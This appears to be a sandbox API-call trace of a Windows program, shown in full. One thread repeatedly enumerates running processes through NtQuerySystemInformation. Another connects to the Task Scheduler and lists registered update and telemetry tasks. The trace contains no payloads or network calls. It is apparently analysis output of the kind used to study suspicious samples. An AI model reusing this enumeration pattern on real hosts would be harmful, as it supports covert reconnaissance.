	[0087.631] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x295c4) returned 0x28de680
	[0087.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.632] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2a5e8) returned 0x28de680
	[0087.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.633] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2b60c) returned 0x28de680
	[0087.633] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.633] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2c630) returned 0x28de680
	[0087.633] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.634] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2d654) returned 0x28de680
	[0087.634] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.635] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2e678) returned 0x28de680
	[0087.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0087.636] Sleep (dwMilliseconds=0x64) 
	[0093.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0093.776] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28c6ec0
	[0093.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c6ec0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c6ec0, ResultLength=0x0) returned 0xc0000004
	[0093.777] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c6ec0, Size=0x306c) returned 0x2894bd8
	[0093.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0093.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0093.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0093.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28ae2f8
	[0093.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x60d8) returned 0x28ae2f8
	[0093.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x70fc) returned 0x28ae2f8
	[0093.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x8120) returned 0x28ae2f8
	[0093.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x9144) returned 0x28ae2f8
	[0093.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xa168) returned 0x28ae2f8
	[0093.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0093.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xb18c) returned 0x28de680
	[0093.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xc1b0) returned 0x28de680
	[0093.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xd1d4) returned 0x28de680
	[0093.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xe1f8) returned 0x28de680
	[0093.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xf21c) returned 0x28de680
	[0093.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x10240) returned 0x28de680
	[0093.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x11264) returned 0x28de680
	[0093.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x12288) returned 0x28de680
	[0093.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x132ac) returned 0x28de680
	[0093.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0093.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0093.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.789] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0093.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.789] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0093.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.790] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0093.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.791] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0093.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.791] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0093.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.792] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0093.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.793] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0093.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.793] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0093.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.794] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0093.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.794] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0093.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.795] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0093.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.796] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0093.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.796] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0093.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.797] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0093.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.798] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0093.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.799] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0093.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.800] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0093.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.800] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2757c) returned 0x28de680
	[0093.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.801] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x285a0) returned 0x28de680
	[0093.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.802] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x295c4) returned 0x28de680
	[0093.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.803] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2a5e8) returned 0x28de680
	[0093.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.804] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2b60c) returned 0x28de680
	[0093.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.804] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2c630) returned 0x28de680
	[0093.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.805] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2d654) returned 0x28de680
	[0093.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.806] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2e678) returned 0x28de680
	[0093.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.807] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2f69c) returned 0x28de680
	[0093.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.808] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x306c0) returned 0x28de680
	[0093.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x306c0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.809] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x316e4) returned 0x28de680
	[0093.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x316e4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.810] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x32708) returned 0x28de680
	[0093.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x32708, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.810] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x3372c) returned 0x28de680
	[0093.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x3372c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0093.811] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x34750) returned 0x28de680
	[0093.811] NtQuerySystemInformation (SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x34750, ResultLength=0x0) 

Thread:
	id = 10
	os_tid = 0xd74


Thread:
	id = 11
	os_tid = 0xd84

	[0062.016] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0062.435] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0065.565] CoCreateInstance (in: rclsid=0x156058*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x156048*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x43af960 | out: ppv=0x43af960*=0x19a488) returned 0x0
	[0066.049] TaskScheduler:ITaskService:Connect (This=0x19a488, serverName=0x43af908*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x43af918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x43af928*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x43af938*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0
	[0066.227] TaskScheduler:ITaskService:GetFolder (in: This=0x19a488, Path="\\", ppFolder=0x43af95c | out: ppFolder=0x43af95c*=0x19a5a8) returned 0x0
	[0066.228] ITaskFolder:GetTasks (in: This=0x19a5a8, flags=0, ppTasks=0x43af8fc | out: ppTasks=0x43af8fc*=0x19a5f8) returned 0x0
	[0066.230] IRegisteredTaskCollection:get_Count (in: This=0x19a5f8, pCount=0x43af8d8 | out: pCount=0x43af8d8*=4) returned 0x0
	[0066.230] IRegisteredTaskCollection:get_Item (in: This=0x19a5f8, index=0x43af8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af90c | out: ppRegisteredTask=0x43af90c*=0x19a6a0) returned 0x0
	[0066.233] IRegisteredTask:get_Name (in: This=0x19a6a0, pName=0x43af8e4 | out: pName=0x43af8e4*="Adobe Acrobat Update Task") returned 0x0
	[0066.234] IRegisteredTask:get_State (in: This=0x19a6a0, pState=0x43af8e8 | out: pState=0x43af8e8*=1) returned 0x0
	[0066.235] IUnknown:Release (This=0x19a6a0) returned 0x0
	[0066.235] IRegisteredTaskCollection:get_Item (in: This=0x19a5f8, index=0x43af8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af90c | out: ppRegisteredTask=0x43af90c*=0x19a6a0) returned 0x0
	[0066.235] IRegisteredTask:get_Name (in: This=0x19a6a0, pName=0x43af8e4 | out: pName=0x43af8e4*="GoogleUpdateTaskMachineCore") returned 0x0
	[0066.235] IRegisteredTask:get_State (in: This=0x19a6a0, pState=0x43af8e8 | out: pState=0x43af8e8*=1) returned 0x0
	[0066.235] IUnknown:Release (This=0x19a6a0) returned 0x0
	[0066.235] IRegisteredTaskCollection:get_Item (in: This=0x19a5f8, index=0x43af8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af90c | out: ppRegisteredTask=0x43af90c*=0x19a6a0) returned 0x0
	[0066.235] IRegisteredTask:get_Name (in: This=0x19a6a0, pName=0x43af8e4 | out: pName=0x43af8e4*="GoogleUpdateTaskMachineUA") returned 0x0
	[0066.235] IRegisteredTask:get_State (in: This=0x19a6a0, pState=0x43af8e8 | out: pState=0x43af8e8*=1) returned 0x0
	[0066.236] IUnknown:Release (This=0x19a6a0) returned 0x0
	[0066.236] IRegisteredTaskCollection:get_Item (in: This=0x19a5f8, index=0x43af8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af90c | out: ppRegisteredTask=0x43af90c*=0x19a6a0) returned 0x0
	[0066.236] IRegisteredTask:get_Name (in: This=0x19a6a0, pName=0x43af8e4 | out: pName=0x43af8e4*="OneDrive Standalone Update Task-S-1-5-21-1051304884-625712362-2192934891-1000") returned 0x0
	[0066.236] IRegisteredTask:get_State (in: This=0x19a6a0, pState=0x43af8e8 | out: pState=0x43af8e8*=1) returned 0x0
	[0066.237] IUnknown:Release (This=0x19a6a0) returned 0x0
	[0066.237] IUnknown:Release (This=0x19a5f8) returned 0x0
	[0066.238] ITaskFolder:GetFolders (in: This=0x19a5a8, flags=0, ppFolders=0x43af938 | out: ppFolders=0x43af938*=0x19a5f8) returned 0x0
	[0066.239] ITaskFolderCollection:get_Count (in: This=0x19a5f8, pCount=0x43af92c | out: pCount=0x43af92c*=1) returned 0x0
	[0066.239] ITaskFolderCollection:get_Item (in: This=0x19a5f8, index=0x43af908*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af930 | out: ppFolder=0x43af930*=0x19a6a0) returned 0x0
	[0066.239] ITaskFolder:GetTasks (in: This=0x19a6a0, flags=0, ppTasks=0x43af8d0 | out: ppTasks=0x43af8d0*=0x19a710) returned 0x0
	[0066.239] IRegisteredTaskCollection:get_Count (in: This=0x19a710, pCount=0x43af8ac | out: pCount=0x43af8ac*=0) returned 0x0
	[0066.239] IUnknown:Release (This=0x19a710) returned 0x0
	[0066.239] ITaskFolder:GetFolders (in: This=0x19a6a0, flags=0, ppFolders=0x43af90c | out: ppFolders=0x43af90c*=0x19a710) returned 0x0
	[0066.240] ITaskFolderCollection:get_Count (in: This=0x19a710, pCount=0x43af900 | out: pCount=0x43af900*=3) returned 0x0
	[0066.240] ITaskFolderCollection:get_Item (in: This=0x19a710, index=0x43af8dc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af904 | out: ppFolder=0x43af904*=0x19a7e0) returned 0x0
	[0066.240] ITaskFolder:GetTasks (in: This=0x19a7e0, flags=0, ppTasks=0x43af8a4 | out: ppTasks=0x43af8a4*=0x19a860) returned 0x0
	[0066.246] IRegisteredTaskCollection:get_Count (in: This=0x19a860, pCount=0x43af880 | out: pCount=0x43af880*=4) returned 0x0
	[0066.246] IRegisteredTaskCollection:get_Item (in: This=0x19a860, index=0x43af854*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af8b4 | out: ppRegisteredTask=0x43af8b4*=0x19a940) returned 0x0
	[0066.246] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af88c | out: pName=0x43af88c*="Office Automatic Updates") returned 0x0
	[0066.246] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af890 | out: pState=0x43af890*=1) returned 0x0
	[0066.247] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.247] IRegisteredTaskCollection:get_Item (in: This=0x19a860, index=0x43af854*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af8b4 | out: ppRegisteredTask=0x43af8b4*=0x19a940) returned 0x0
	[0066.247] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af88c | out: pName=0x43af88c*="Office ClickToRun Service Monitor") returned 0x0
	[0066.247] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af890 | out: pState=0x43af890*=1) returned 0x0
	[0066.248] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.248] IRegisteredTaskCollection:get_Item (in: This=0x19a860, index=0x43af854*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af8b4 | out: ppRegisteredTask=0x43af8b4*=0x19a940) returned 0x0
	[0066.248] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af88c | out: pName=0x43af88c*="OfficeTelemetryAgentFallBack2016") returned 0x0
	[0066.248] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af890 | out: pState=0x43af890*=1) returned 0x0
	[0066.250] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.250] IRegisteredTaskCollection:get_Item (in: This=0x19a860, index=0x43af854*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af8b4 | out: ppRegisteredTask=0x43af8b4*=0x19a940) returned 0x0
	[0066.250] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af88c | out: pName=0x43af88c*="OfficeTelemetryAgentLogOn2016") returned 0x0
	[0066.250] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af890 | out: pState=0x43af890*=1) returned 0x0
	[0066.252] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.252] IUnknown:Release (This=0x19a860) returned 0x0
	[0066.253] ITaskFolder:GetFolders (in: This=0x19a7e0, flags=0, ppFolders=0x43af8e0 | out: ppFolders=0x43af8e0*=0x19a860) returned 0x0
	[0066.253] ITaskFolderCollection:get_Count (in: This=0x19a860, pCount=0x43af8d4 | out: pCount=0x43af8d4*=0) returned 0x0
	[0066.253] IUnknown:Release (This=0x19a860) returned 0x0
	[0066.253] TaskScheduler:IUnknown:Release (This=0x19a7e0) returned 0x0
	[0066.253] ITaskFolderCollection:get_Item (in: This=0x19a710, index=0x43af8dc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x43af904 | out: ppFolder=0x43af904*=0x19a7e0) returned 0x0
	[0066.253] ITaskFolder:GetTasks (in: This=0x19a7e0, flags=0, ppTasks=0x43af8a4 | out: ppTasks=0x43af8a4*=0x19a860) returned 0x0
	[0066.256] IRegisteredTaskCollection:get_Count (in: This=0x19a860, pCount=0x43af880 | out: pCount=0x43af880*=0) returned 0x0
